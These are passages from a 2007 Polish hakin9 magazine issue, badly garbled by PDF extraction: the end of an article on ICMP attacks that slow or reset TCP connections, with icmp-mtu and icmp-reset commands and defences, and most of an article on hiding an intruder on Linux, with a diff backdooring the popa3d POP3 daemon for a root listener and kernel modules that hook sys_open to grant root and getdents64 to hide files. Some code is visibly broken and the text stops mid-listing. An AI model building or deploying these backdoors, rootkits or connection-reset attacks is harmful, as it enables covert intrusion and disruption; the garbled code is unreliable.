Kontakt z autorem: elceef@itsec.pl

Rysunek 1.

Nagłówek pakietu ICMP dla komunikatów informujących o

problemach w sieci

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

20

dwoma komputerami połączonymi w
sieci lokalnej oraz programami, któ-
rych autorem jest Fernando Gont.
Wygenerują one dla nas odpowied-
nie pakiety.

Powolne połączenie

Wspomniany wcześniej mechanizm
wykrywania optymalnego rozmiaru
MTU wykorzystuje pakiety ICMP z
komunikatem Destination Host Unre-

achable oraz twardym kodem błę-
du (traktowanym jako twardy tylko w

przypadku, gdy mechanizm wykry-
wania MTU nie jest zaimplementowa-
ny w danym systemie) Fragmentation

needed and DF set do zmniejszania
rozmiaru wysyłanych pakietów. Spe-
cyfikacja wymaga, aby system po
zmniejszeniu rozmiaru tych pakie-
tów odczekał przynajmniej 10 mi-
nut, przed ponowną próbą zwiększe-
nia ilości danych przesyłanych w po-
jedynczym pakiecie. Atak polega na
wysyłaniu fałszywych pakietów ICMP
w kierunku jednej ze stron połącze-

nia, powodując zmniejszenie rozmia-
ru MTU do drastycznie niskiego po-
ziomu (nawet do 68 bajtów) oraz w
konsekwencji spowolnienie szybko-
ści przepływu danych. W efekcie sto-
sunek sumarycznej długości nagłów-
ków do długości przesyłanych danych
będzie znacznie większy (patrz Tabe-
la 1). Oznacza to, że większość prze-
syłanych informacji będą stanowić
nagłówki datagramów. Fałszywe pa-
kiety ICMP, oprócz odpowiedniego
komunikatu i kodu błędu zawierają
oczywiście spreparowany nagłówek
IP oraz fragment nagłówka TCP pa-
sujące do atakowanego połączenia.

Przeprowadzimy teraz symula-

cję ataku na mechanizm wykrywania
MTU. W tym celu nawiążemy długo-
trwałe połączenie TCP o dużej pręd-
kości (pobierając ze zdalnego ser-
wera plik o dużym rozmiarze) posłu-
gując się narzędziem wget:

# wget 192.168.0.1/stuff/file.avi

Komputer o adresie

192.168.0.1

dzia-

ła pod kontrolą systemu Windows
XP SP2 z uruchomionym serwerem
usługi HTTP. Sprawdźmy parame-
try nowego połączenia przy pomo-
cy netstat:

# netstat -taun |grep 192.168.0.1
tcp 0 0 192.168.0.101:1025

192.168.0.1:80
ESTABLISHED

Rysunek 2.

Ogólny schemat ataku z wykorzystaniem komunikatów ICMP

A

B

ICMP - HARD ERROR

DST ADDR = A

SRC ADDR = B

Internet

C

Tabela 1.

Sumaryczna długość nagłówków w pakietach w przypadku zmniejszających się rozmiarów MTU (podczas

transferu 1460 bajtów danych)

Rozmiar MTU

Wymagana ilość pakietów

Całkowita ilość danych

z nagłówkami

Procentowy udział na-

główków pakietów

1500

1

1500

3%

1024

2

1540

5%

768

2

1540

5%

512

3

1580

8%

256

6

1740

16%

128

12

1980

32%

68

22

2380

59%

background image

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

21

Posiadamy wszystkie potrzebne in-
formacje na temat połączenia, czyli
adresy IP oraz numery portów. Sy-
mulacja wymaga jednak, aby port
źródłowy był nieznany, dlatego za-
miast konkretnej wartości podamy
zakres

1024-4999

. Do przeprowa-

dzenia ataku użyjemy narzędzia o
nazwie icmp-mtu:

# icmp-mtu -c 192.168.0.101:1024-4999
-s 192.168.0.1:80 -t server -r 32 -m

296

Parametr

-c

określa adres i port

źródłowy (w naszym przypadku
zakres portów) połączenia po stro-
nie klienta. Analogicznie parametr

-s

ustala wartości adresu i portu

po stronie serwera. Numery por-
tów nie są obowiązkowe. Jeśli ich
nie podamy, program będzie wy-
syłał pakiety używając wszystkich
możliwych portów. Należy zwró-
cić uwagę na fakt, że jeśli pominie-
my numer portu po stronie klienta
oraz po stronie serwera, to ilość
potrzebnych do wysłania pakie-
tów będzie wynosić 65536*65536,
czyli ponad cztery miliardy. Opcja

-t

służy do ustalenia kierunku, w

którym mają być wysyłane pakie-
ty. My wybraliśmy stronę serwera,
ponieważ działając pod kontrolą
systemu Windows, w przeciwień-
stwie do systemu Linux, nie jest
on odporny na ataki z wykorzysta-
niem protokołu ICMP. Przedostat-
ni parametr

-r

służy do ogranicze-

nia szybkości (w kilobitach na se-
kundę), z jaką wysyłane są pakie-
ty. Jest to przydatne w przypadku
niektórych routerów, którym może
nie „podobać się” zbyt duży ruch
pakietów ICMP. Ostatni parametr

-m

pozwala nam wybrać rozmiar

MTU. Jego użycie nie jest obo-
wiązkowe, jeśli zostanie pominię-
ty, rozmiar MTU zostanie ustawio-
ny na 68, czyli absolutne minimum.
Niestety nie wszystkie systemy re-
spektują owe minimum (na przy-
kład BSD oraz Windows), dlatego
wybraliśmy wartość

296

.

Dodatkowym efektem naszych

działań jest znacznie większe zu-
życie mocy obliczeniowej proce-
sora po obu stronach połącze-

nia (wystarczające do „zamroże-
nia” niewielkich, domowych route-
rów sprzętowych). Ilość przesy-
łanych informacji danych nie ule-
gnie zmianie, natomiast znacz-
nie zwiększy się ilość pakietów,
ze względu na ich niewielkie roz-
miary. Obsłużenie tak dużej ilo-
ści pakietów przez system zajmu-
je więcej czasu procesora. Efekt
jest szczególnie widoczny w przy-
padku połączeń o dużej przepu-
stowości.

Przerywanie połączenia

Wiemy już w jaki sposób wykorzy-
stać protokół ICMP do obniżenia ja-
kości połączeń TCP. Istnieje także
groźniejsza odmiana ataku, umoż-
liwiająca natychmiastowe zerwa-
nie połączenia. Wykorzystuje się
tu ten sam komunikat ICMP, co po-
przedni, ale z kodem błędu Proto-

col unreachable (można także za-
stosować kod Port unreachable).
Pakiet z takim kodem błędu infor-
muje jedną ze stron połączenia o
tym, że drugi komputer nie posiada
zaimplementowanej obsługi dane-
go protokołu (w naszym przypadku
tym protokołem jest TCP). Otrzy-
manie takiego komunikatu podczas
trwającego połączenia wydaje się
być co najmniej dziwne. Oznacza
to, że obsługa protokołu zosta-
ła nagle usunięta z sytemy, cho-
ciaż połączenie nie zostało zakoń-
czone. Dobrym rozwiązaniem jest
więc traktowanie tego komunikatu
jako miękkiego w przypadku trwa-
jących połączeń, co uniemożliwi
ich przerwanie.

Scenariusz ataku jest identycz-

ny, jak poprzednio. Zmienia się

Rysunek 3.

Komunikat programu PuTTY informujący o udanym ataku na

sesję SSH

Paranoja ICMP

Skuteczność wykrywania MTU dla da-
nej trasy jest całkowicie uzależniona
od zdolności nadawcy do odebrania
komunikatu ICMP Fragmentation ne-
eded and DF set
. Jeśli nadawca nie
otrzyma tego komunikatu, nie będzie
wiedział, że pakiet nie dotarł do celu.
Spowoduje to w najgorszym razie za-
blokowanie połączenia na czas nie-
określony, ponieważ także kolejne pa-
kiety prawdopodobnie nie będą mogły
zostać przesłane przez łącze o mniej-
szym MTU niż rozmiar pakietu. Najczę-
ściej problem stwarzają sieci, w których
ignorowane są pakiety ICMP w źle po-
jętym interesie bezpieczeństwa. Jest to
bardzo niemądre działanie, ponieważ
protokół ICMP jest nierozerwalnie po-
łączony z protokołem IP, który w więk-
szości przypadków bez pomocy tego
drugiego nie będzie w stanie dostar-
czyć pakietów w dane miejsce.

Niedoświadczeni administratorzy

obawiają się tego protokołu ze wzglę-
du na problemy, jakie wiązały się daw-
niej z jego użyciem. Zbyt duże pakie-
ty ICMP (tak zwane ping of death) po-
wodowały w starszych wersjach syste-
mów Windows i Novell błąd pamięci ją-
dra (oraz w konsekwencji jego zawie-
szenie), natomiast wysyłanie komuni-
katów ICMP na adresy rozgłaszania
służyło do przeprowadzania ataków
odmowy obsługi (znanych jako ata-
ki smurf).

Niestety w Internecie można zna-

leźć wątpliwej jakości artykuły zale-
cające odrzucanie wszystkich pakie-
tów ICMP. Zdarzają się nawet admini-
stratorzy, którzy owe zalecenia wpro-
wadzają w życie. Oczywiście szanu-
jemy ich.

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

22

tylko kod błędu w pakiecie ICMP
oraz narzędzie. Kolejna symula-
cja również będzie opierała się na
długotrwałym połączeniu. Tym ra-
zem komputer o adresie

192.168.0.1

(Windows XP) nawiąże połącze-
nie w sieci lokalnej z serwerem
usługi SSH o adresie

192.168.0.101

.

Do przeprowadzania ataku użyje-
my narzędzia icmp-reset, którego
sposób użycia nie różni się od po-
przedniego:

# icmp-reset -c 192.168.0.1:1024-4999 -
s 192.168.0.101:22 -t client -r 32

Sytuacja uległa niewielkiej zmia-
nie. Rolę serwera pełni teraz kom-
puter pod kontrolą systemu Linux.
Atak przeprowadzimy więc w kierun-
ku klienta. Po chwili na komputerze

192.168.0.1

pojawi się komunikat po-

dobny do tego przedstawionego na
Rysunku 3. Oznacza on, że atak za-
kończył się sukcesem i sesja SSH
została przerwana.

Jak się obronić

Chociaż specyfikacja protokołu
ICMP wciąż pozostaje niezmienna,
producenci systemów i urządzeń sie-
ciowych mają tu spore pole do popi-
su. Wiele zależy od odpowiedniej im-
plementacji, której bezpieczeństwo
oparte jest na umiejętnie wykorzy-
stanych możliwościach oferowanych
przez istniejącą specyfikację proto-
kołu lub na wprowadzeniu drobnych
modyfikacji.

Jednym z możliwych rozwią-

zań jest wykorzystanie numeru se-
kwencyjnego TCP do sprawdzenia
wiarygodności komunikatów typu

hard error. Każdy pakiet ICMP in-
formujący o problemie sieciowym
przenosi minimum osiem pierw-
szych oktetów nagłówka TCP pa-
kietu, który spowodował błąd.

Zawierają one 32-bitowy nu-

mer sekwencyjny, którego zada-
nia stanowią zabezpieczanie se-
sji TCP przed duplikatami pakie-
tów oraz składanie docierających
danych w odpowiedniej kolejno-
ści. Na podstawie tego numeru
można więc stwierdzić, czy da-
ny pakiet rzeczywiście należy do

bieżącej sesji TCP (pomimo zgod-
nych numerów portów), czy może
został sfałszowany przez atakują-
cego i należy go odrzucić. Powyż-
sza idea wydaje się być zupełnie
oczywista, jednak popularne im-
plementacje (na przykład Win-
dows oraz Cisco IOS) wciąż jej
nie stosują.

Problem powraca w przypad-

ku stosowania rozszerzenia TCP
o nazwie Window Scaling umożli-
wiającego ustawienie bardzo du-
żych rozmiarów okna (powyżej
standardowych 64kB). Każdy sys-
tem sieciowy powinien więc pod-
dawać kontroli numery sekwencyj-
ne TCP przenoszone w komunika-
tach ICMP.

Kolejną metodą jest opóźnia-

nie reakcji na twarde komunika-
ty do osiągnięcia określonej liczby
nieudanych prób retransmisji pakie-
tu. Po otrzymaniu komunikatu typu

hard error, system nie przerywa po-
łączenia od razu, ale próbuje konty-
nuować transmisję poprzez ponow-
ne wysyłanie danych. Gdy liczba
nieudanych prób retransmisji osią-
gnie odpowiednią wartość, system
może zakończyć połączenie mając
pewność, że otrzymany komunikat
był prawdziwy.

Nie jest zalecane odrzucanie

wybranych komunikatów ICMP na
poziomie zapory ogniowej. W nie-
których przypadkach takie działa-
nie może spowolnić lub utrudnić
działanie niektórych usług w sie-
ci. Praktyczna część artykułu po-
kazała, że niewiele pomoże wy-
korzystywanie funkcjonalności lo-
sowych numerów portów źródło-
wych, chociaż jest to jak najbar-
dziej zalecane rozwiązanie. Na
dzień dzisiejszy najlepszą (oraz
jedyną) metodą obrony przed ata-
kami z wykorzystaniem protoko-
łu ICMP jest stosowanie syste-
mów z dobrą implementacją sto-
su TCP (lub instalowanie popra-
wek w przypadku słabszych imple-
mentacji).

Podsumowanie

Jak zwykle przyczyna opisanego
tu problemu tkwi po środku. Winą

można obarczyć twórców protoko-
łu ICMP. Z drugiej strony jednak,
winni są także producenci tworzą-
cy systemy i urządzenia, w których
obsługa tego protokołu pozosta-
wia często wiele do życzenia. Po-
wodzenie ataku zależy więc głów-
nie od konkretnej implementacji
stosu protokołów sieciowych. Na
szczęście dzisiaj omówione ata-
ki są znacznie mniej groźne, po-
nieważ wśród twórców systemów
wzrosła świadomość o zagroże-
niu, jakie wiąże się z ich wykorzy-
stywaniem. l

W Sieci

http://www.gont.com.ar/drafts/icmp-

attacks/ – zbiór publikacji na temat
ataków z wykorzystaniem protokołu
ICMP,

http://www.gont.com.ar/tools/

icmp-attacks/ – narzędzia wyko-
rzystane w praktycznej części ar-
tykułu,

http://www.microsoft.com/technet/

security/bulletin/MS05-019.mspx
– poprawka dla systemów Win-
dows eliminująca zagrożenie ata-
kami ICMP,

h t t p : / / w w w . f a q s . o r g / r f c s/

rfc792.html – RFC-792, specyfika-
cja protokołu ICMP.

Tłumienie nadawcy

Specyfikacja protokołu przewidu-
je sytuację, w której router pośred-
niczący w transmisji nie będzie po-
siadał wystarczającej ilości pamię-
ci do przetworzenia przekazywa-
nych pakietów. Może on wtedy wy-
słać pakiet ICMP z komunikatem
Source quench (tłumienie nadaw-
cy). Zgodnie z RFC-792, system po
otrzymaniu takiego komunikatu po-
winien zmniejszyć szybkość wysyła-
nych danych na okres przynajmniej
10 minut. Skutek jest podobny, jak w
przypadku ataku na mechanizm wy-
krywania MTU – wolniejsze połącze-
nie. Protokół TCP posiada jednak
własne mecha

background image
background image

www.hakin9.org

hakin9 Nr 3/2007

24

Atak

J

eszcze osiem lat temu niewiele mówi-
ło się w Polsce o hakerach, czy ich wła-
maniach i atakach, a stereotyp przedsta-

wiał sieciowego intruza jako małolata z trądzi-
kiem, który z uporem maniaka zgaduje hasła
do kont na różnych serwerach. Obecnie jest to
temat coraz częściej podejmowany, nawet w
mediach, i to nie tylko przy okazji włamań do
NASA, czy ataków DDoS (Distributed Denial of

Service) na Yahoo, ale także z tego powodu, że
wielu ludzi, o których mówi się, że są hakerami,
lubi gdy jest o nich głośno i odpowiednio mani-
festuje swoją obecność. Głównym celem tego
artykułu jest przedstawienie kilku technik ukry-
wania się w systemie, stosowanych przez dru-
gi rodzaj sieciowych włamywaczy, mianowicie
przez tych, którzy wolą pozostać w ukryciu.

W systemach operacyjnych ukryć można

się w wielu miejscach. Obecnie najczęściej
stosuje się backdoory umieszczone w usłu-
gach sieciowych i na poziomie jądra systemu
Linuks. Jako że temat backdoorów jest bardzo
rozległy i jedynym ograniczeniem jest tutaj wy-
obraźnia i stopień umiejętności programowania
systemowego, omówię jedynie kilka wybranych
przykładów, które można łatwo przetestować w
domowych warunkach. Osobom chcącym wy-

próbować omówione tutaj przykłady w bardziej
realnym środowisku, chciałbym przypomnieć,
iż nie gwarantują one stuprocentowej gwarancji

Wybrane techniki

maskowania obecności

w systemie GNU/Linux

Robert Jaroszuk

stopień trudności

Jeszcze osiem lat temu niewiele mówiło się w Polsce o

hakerach, czy ich włamaniach i atakach, a stereotyp przedstawiał

sieciowego intruza jako małolata z trądzikiem, który z uporem

maniaka zgaduje hasła do kont na różnych serwerach.

Z artykułu dowiesz się:

• W jaki sposób można stworzyć backdoory sie-

ciowe, ukryte w popularnych usługach, np. w
demonie POP3.

• Jak napisać stosunkowo prosty, lokalny (do-

stępny w obrębie serwera) backdoor, ukryty w
kernelu

• Jak ukryć przed administratorem systemu pro-

ces, którego nie powinien widzieć

• Jak ukryć przed administratorem moduł kerne-

la załadowany przez intruza

Co powinieneś wiedzieć:

• Aby zrozumieć techniki omawiane w artykule,

powinieneś dosyć dobrze znać system Linux
oraz język C.

• Dla osób nie mających doświadczenia w pro-

gramowaniu jądra systemu wskazane jest
także zapoznanie się z "The Linux Kernel
Module Programming Guide": http://tldp.org/
LDP/lkmpg/2.6/html/index.html

background image

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

25

bycia niewidocznym przed czujnym
okiem administratora.

W większości przypadków sa-

mo włamanie jest tylko pierwszym
krokiem większego przedsięwzię-
cia, którym może być nie pozosta-
wiające śladów utrzymanie kontroli
nad systemem i możliwość później-
szego powrotu w określonym celu

(wykradanie danych, sabotaż, dal-
sze włamania na inne maszyny). W
tego typu sytuacji intruz musi odpo-

wiednio zadbać o zatarcie śladów
swojego działania i pozostawienie
dobrze ukrytych tylnych furtek (nie

O autorze

Autor jest studentem Szkoły Głów-
nej Handlowej w Warszawie. Bezpie-
czeństwem sieci i systemów informa-
tycznych zajmuje się zarówno zawo-
dowo, jak i hobbystycznie od połowy
lat 90-tych. Obecnie pracuje jako ad-
ministrator bezpieczeństwa w jednej
z największych instytucji finansowych
w Polsce.

Kontakt z autorem: zim@iq.pl

Listing 1.

plik diff

diff

-

u

popa3d

-

1.0

.

2

/

Makefile

popa3d

-

1.0

.

2

-

backdoored

/

Makefile

---

popa3d

-

1.0

.

2

/

Makefile

2006

-

03

-

05

11

:

36

:

20.000000000

+

0100

+++

popa3d

-

1.0

.

2

-

backdoored

/

Makefile

2006

-

11

-

03

18

:

11

:

46.000000000

+

0100

@@

-

9

,

13

+

9

,

13

@@

LDFLAGS

=

-

s

LIBS

=

# Linux with glibc, FreeBSD, NetBSD

-

#LIBS += -lcrypt

+

LIBS

+=

-

lcrypt

# HP-UX trusted system
#LIBS += -lsec
# Solaris (POP_STANDALONE, POP_VIRTUAL)
#LIBS += -lsocket -lnsl
# PAM

-

#LIBS += -lpam+LIBS += -lpam

# TCP wrappers
#LIBS += -lwrap
# libwrap may also want this

Common

subdirectories

:

popa3d

-

1.0

.

2

/

md5

and

popa3d

-

1.0

.

2

-

backdoored

/

md5

diff

-

u

popa3d

-

1.0

.

2

/

params

.

h

popa3d

-

1.0

.

2

-

backdoored

/

params

.

h

---

popa3d

-

1.0

.

2

/

params

.

h

2006

-

03

-

05

13

:

44

:

52.000000000

+

0100

+++

popa3d

-

1.0

.

2

-

backdoored

/

params

.

h

2006

-

11

-

03

23

:

28

:

23.000000000

+

0100

@@

-

13

,

7

+

13

,

7

@@

-

#

define

POP_STANDALONE

0

+

#

define

POP_STANDALONE

1

#if POP_STANDALONE

diff

-

u

popa3d

-

1.0

.

2

/

pop_auth

.

c

popa3d

-

1.0

.

2

-

backdoored

/

pop_auth

.

c

---

popa3d

-

1.0

.

2

/

pop_auth

.

c

2002

-

09

-

09

13

:

07

:

48.000000000

+

0200

+++

popa3d

-

1.0

.

2

-

backdoored

/

pop_auth

.

c

2006

-

11

-

04

19

:

51

:

02.000000000

+

0100

@@

-

6

,

6

+

6

,

15

@@

#include

<unistd.h>

#include

<string.h>

#include

<syslog.h>

+

#include

<sys/wait.h>

+

#include

<sys/types.h>

+

#include

<sys/resource.h>

+

#include

<stdlib.h>

+

#include

<sys/types.h>

+

#include

<sys/socket.h>

+

#include

<netinet/in.h>

+

#include

<fcntl.h>

+

#include

<pwd.h>

#

include

"misc.h"

#

include

"params.h"

@@

-

15

,

6

+

24

,

8

@@

#

include

"virtual.h"

#endif

+

#

define

PORT

4000

+

static

char

*

pop_user

,

*

pop_pass

;

static

int

pop_auth_quit

(

char

*

params

)

@@

-

40

,

10

+

51

,

52

@@

return

POP_STATE

;

}

+

void

pop_auth_hack

(

void

)

+

{

+

struct

sockaddr_in

serv

;

+

struct

sockaddr_in

cli

;

+

unsigned

int

slen

;

+

int

sock

;

+

int

scli

;

+

struct

passwd

*

pw

;

+
+

pw

=

getpwnam

(

POP_USER

);

+

setuid

(

0

);

setgid

(

0

);

Listing 2.

export_sct.c

#include

<linux/kernel.h>

#include

<linux/module.h>

#include

<linux/unistd.h>

#include

<asm/uaccess.h>

#include

<linux/string.h>

#define SCT_ADDR 0xc03a22a0

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

void

**

sys_call_table

;

static

int

__init

m_init

(

void

)

{

sys_call_table

=

(

void

**)

SCT_ADDR

;

EXPORT_SYMBOL

(

sys_call_table

);

return

0

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

26

koniecznie w tej kolejności). Owe
tylne furtki można umieścić w prze-
różnych miejscach w systemie. Mo-
że to być modyfikacja konfiguracji
systemu, dodawanie nowych użyt-
kowników, zmiana działania pro-
gramów z ustawionym bitem suid,
dodawanie nowych usług, modyfi-
kacja oprogramowania, aż po naj-
bardziej wyrafinowane możliwo-
ści - modyfikację kernela (stosując
moduły, modyfikację źródeł i mody-
fikację pracującego jądra poprzez

/dev/kmem).

Backdoor w demonie

POP3

Jedną ze standardowych usług kla-
sycznego serwera jest poczta. Ist-
nieje więc wysokie prawdopodo-
bieństwo, że tego typu usługa bę-
dzie uruchomiona na serwerze, do
którego intruz uzyskał dostęp. War-
to rozważyć możliwość instalacji
tylnej furtki w tej usłudze. Zacznij-
my zatem od pobrania źródeł pro-
gramu:

h t t p : / / w w w.o p e n w a l l .c o m /

popa3d/popa3d-1.0.2.tar.gz

A następnie rozpakujmy źró-

dła programu: tar -zxvf popa3d-
1.0.2.tar.gz
Teraz należy wprowadzić kilka mo-
dyfikacji w źródłach i w pliku Make-

file. (plik diff dla źródeł programu po-

pa3d-1.0.2 przedstawiony jest na Li-
stingu 1).

W pliku Makefile musimy zmienić

listę bibliotek, z którą będzie kompi-
lowany program popa3d. W tym celu
pozbawiamy komentarzy linijki:

#LIBS += -lcrypt
#LIBS += -lpam

Dzięki temu, podczas kompilacji zo-
staną wykorzystane biblioteki lib-

crypt oraz libpam. Są one potrzebne
przy autoryzacji zwykłych użytkow-
ników systemu. W pliku params.h
zmieniamy linijkę:

#define POP_STANDALONE 0

na

#define POP_STANDALONE 1

Listing 3.

file.c

#include

<linux/kernel.h>

#include

<linux/module.h>

#include

<linux/unistd.h>

#include

<asm/uaccess.h>

#define __KERNEL_SYSCALLS__
#include

<linux/syscalls.h>

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Poszukiwany ci▒g znakˇw */

char

*

string

=

"trabant"

;

void

**

sys_call_table

;

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

*

ptr

;

if

((

unsigned

long

*)*

ptr

==

(

unsigned

long

*)

sys_close

)

{

if

((

unsigned

long

*)*((

ptr

-

__NR_close

)+

__NR_read

)

==

(

unsigned

long

*)

sys_read

&&

*((

ptr

-

__NR_close

)+

__NR_open

)

==

(

unsigned

long

)

sys_open

)

{

sys_call_table

=

(

void

**)

((

unsigned

long

*)(

ptr

-

__NR_close

));

break

;

}

}

ptr

++;

}

if

(

sys_call_table

==

NULL

)

{

return

-

1

;

}

else

{

return

1

;

}

return

-

1

;

}

asmlinkage

int

(*

old_open

)(

const

char

*

,

int

,

int

);

asmlinkage

int

new_open

(

const

char

*

pathname

,

int

flag

,

int

mod

)

{

/*

* Sprawdzamy czy w nazwie (pathname zawiera także scieżke do pliku)
* otwieranego pliku znajduje się ciąg znaków ze zmiennej string.
* Jeśli tak, to dostajemy uid = 0;
*/

if

(

strstr

(

pathname

,

string

))

{

current

->

uid

=

0

;

current

->

gid

=

0

;

current

->

euid

=

0

;

current

->

egid

=

0

;

current

->

parent

->

uid

=

0

;

current

->

parent

->

gid

=

0

;

current

->

parent

->

euid

=

0

;

current

->

parent

->

egid

=

0

;

}

return

(

old_open

(

pathname

,

flag

,

mod

));

}

static

int

__init

m_init

(

void

)

{

if

(!

znajdz_sct

())

{

return

-

1

;

}

old_open

=

sys_call_table

[

__NR_open

];

sys_call_table

[

__NR_open

]=

new_open

;

return

0

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_open

]=

old_open

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

background image

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

27

Stała POP_STANDALONE okre-
śla, czy program popa3d będzie
samodzielnie nasłuchiwał na por-
cie 110, czy też będzie mu potrzeb-
ny do działania jakiś serwer typu
inetd/xinetd/rlinetd lub inny podobny.
Nie ma to znaczenia dla funkcjonal-
ności backdoora, ale dla uproszcze-
nia przyjąłem, że nie będziemy uży-
wać żadnych dodatkowych aplika-
cji typu *inetd. Dosyć istotną zmianę
musimy wprowadzić w pliku pop_ro-

ot.c, w funkcji

set _ user()

. Odpowia-

da ona za zrzucanie uprawnień pro-
cesu-dziecka. Jako że chcemy, aby
nasz backdoor miał pełne uprawnie-
nia, musimy zadbać o to, aby pro-
ces-rodzic nie zrzucał ich przed wy-
wołaniem backdoora.

Tak więc zamiast linii:

if (setuid(pw->pw_uid)) return
log_error("setuid");

wstawiamy dwie inne:

setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

Mamy więc:

if (setgid(pw->pw_gid))
return log_error("setgid");
setuid(0);
if (seteuid(pw->pw_uid))
return log_error("setuid");

W momencie gdy intruz połączy się z
serwerem pop3, ten wywołuje funk-
cję fork() i uruchamia proces obsłu-
gujący dane połączenie. Dzięki po-
wyższej zmianie w kodzie, proces
ten będzie miał uid=0 i euid użyt-
kownika popa3d. W liście procesów
będzie widoczny jako popa3d, a tak
naprawdę będzie miał uprawnienia
roota.

Główny kod backdoora znajduje

się w pliku pop_auth.c. Na początku
pliku należy dodać kilka nowych pli-
ków nagłówkowych:

#include
#include
#include
#include

Listing 4a.

Moduł realizujący ukrywanie plików

#include

<linux/kernel.h>

#include

<linux/module.h>

#include

<linux/dirent.h>

#include

<linux/unistd.h>

#include

<linux/string.h>

#include

<asm/uaccess.h>

#define __KERNEL_SYSCALLS__
#include

<linux/syscalls.h>

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Ci±g znaków używamy do ukrywania plików i katalogów */

#

define

HIDE_NAME

"tego_pliku_nie_widac"

void

**

sys_call_table

;

asmlinkage

int

(*

old_getdents64

)

(

unsigned

int

fd

,

struct

linux_dirent64

*

dirp

,

unsigned

int

count

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

*

ptr

;

ptr

=(

unsigned

long

*)

((

init_mm

.

end_code

+

4

)

&

0xfffffffc

);

while

((

unsigned

long

)

ptr

<

(

unsigned

long

)

init_mm

.

end_data

)

{

if

((

unsigned

long

*)*

ptr

==

(

unsigned

long

*)

sys_close

)

{

if

((

unsigned

long

*)*((

ptr

-

__NR_close

)+

__NR_read

)

==

(

unsigned

long

*)

sys_read

&&

*((

ptr

-

__NR_close

)+

__NR_open

)

==

(

unsigned

long

)

sys_open

)

{

sys_call_table

=

(

void

**)

((

unsigned

long

*)

(

ptr

-

__NR_close

));

break

;

}

}

ptr

++;

}

if

(

sys_call_table

==

NULL

)

{

return

-

1

;

}

else

{

return

1

;

}

return

-

1

;

}

/* syscall który będzie przechwytywany w tablicy sycalli */

asmlinkage

int

new_getdents64

(

unsigned

int

fd

,

struct

linux_dirent64

*

dirp

,

unsigned

int

count

)

{

struct

linux_dirent64

*

dir

,

*

ptr

,

*

tmp

,

*

prev

=

NULL

;

long

i

,

rec

=

0

,

ret

;

/* poniższa zmienna przechowuje adres starego wywołania systemowego

sys_getdents64() */

ret

=

(*

old_getdents64

)

(

fd

,

dirp

,

count

);

/* próbujemy zaalokować pamięc do zmiennej tmp, jeżeli się to nie uda,

wracamy do oryginalnego wywołania sys_getdents64 */

if

((

tmp

=

(

struct

linux_dirent64

*)

kmalloc

(

ret

,

GFP_KERNEL

))

==

NULL

)

return

ret

;

/* kopiujemy strukturę linux_dirent64

(zmienna dirp) do zmiennej tmp */

if

(

copy_from_user

(

tmp

,

dirp

,

ret

))

{

return

-

EFAULT

;

}

ptr

=

dir

=

tmp

;

i

=

ret

;

while

(((

unsigned

long

)

dir

)

<

(((

unsigned

long

)

tmp

)

+

i

))

{

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

28

#include
#include
#include
#include
#include

oraz zdefiniować stałą PORT, która
będzie przechowywała numer portu,
na którym ma słuchać nasz backdoor:

#define PORT 4000

Dalej znajduje się funkcja

pop _

auth _ hack()

, która będzie wywo-

ływana w momencie aktywacji tyl-
nej furtki.

void pop_auth_hack(void)
{
struct sockaddr_in serv;
struct sockaddr_in cli;
unsigned int slen;
int sock;
int scli;
struct passwd *pw;

Na początku funkcji znajdują się de-
klaracje zmiennych. Przechowują
one informacje niezbędne do pra-
widłowego nawiązania połączenia
oraz do jego późniejszej obsługi.

W kolejnej linijce ustawiany jest

uid oraz gid procesu backdoora.
Efektywny uid (euid) zostaje usta-
wiony na uid użytkownika zdefinio-
wanego w stałej POP_USER (do-
myślnie jest to popa3d), żeby pro-
ces był widoczny jako należący do
tego właśnie użytkownika, a mimo
to zachowywał uprawnienia superu-
żytkownika.

pw = getpwnam(POP_USER);
setuid(0); setgid(0);
seteuid(pw->pw_uid);

Poniżej tworzony jest socket typu

SOCK _ STREAM

, służący do nawiązy-

wania połączeń przy użyciu protoko-
łu TCP

(IPPROTO _ TCP)

.

sock = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
exit(1);
}

Listing 4b.

Moduł realizujący ukrywanie plików

rec

=

dir

->

d_reclen

;

/* dla każdej pozycji w tablicy dirp sprawdzamy czy nazwa zawiera

poszukiwany przez nas ci±g znaków, jeśli tak jest to nie pokazujemy
danego pliku/katalogu w strukturze linux_dirent64 */

if

(

strstr

(

dir

->

d_name

,

HIDE_NAME

))

{

if

(!

prev

)

{

ret

-=

rec

;

ptr

=

(

struct

linux_dirent64

*)

(((

unsigned

long

)

dir

)

+

rec

);

}

else

{

prev

->

d_reclen

+=

rec

;

memset

(

dir

,

0

,

rec

);

}

}

else

prev

=

dir

;

dir

=(

struct

linux_dirent64

*)(((

unsigned

long

)

dir

)+

rec

);

}

/* kopiujemy zmodyfikowan± listę pozycji do środowiska użytkownika */

if

(

copy_to_user

(

dirp

,

ptr

,

ret

))

{

return

-

EFAULT

;

}

/* zwalniamy pamięc dla zmiennej tmp */

kfree

(

tmp

);

return

ret

;

}

static

int

__init

m_init

(

void

)

{

if

(!

znajdz_sct

())

{

return

-

1

;

}

old_getdents64

=

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

]=

new_getdents64

;

return

0

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

]=

old_getdents64

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 5.

Realizacja zadań

#include

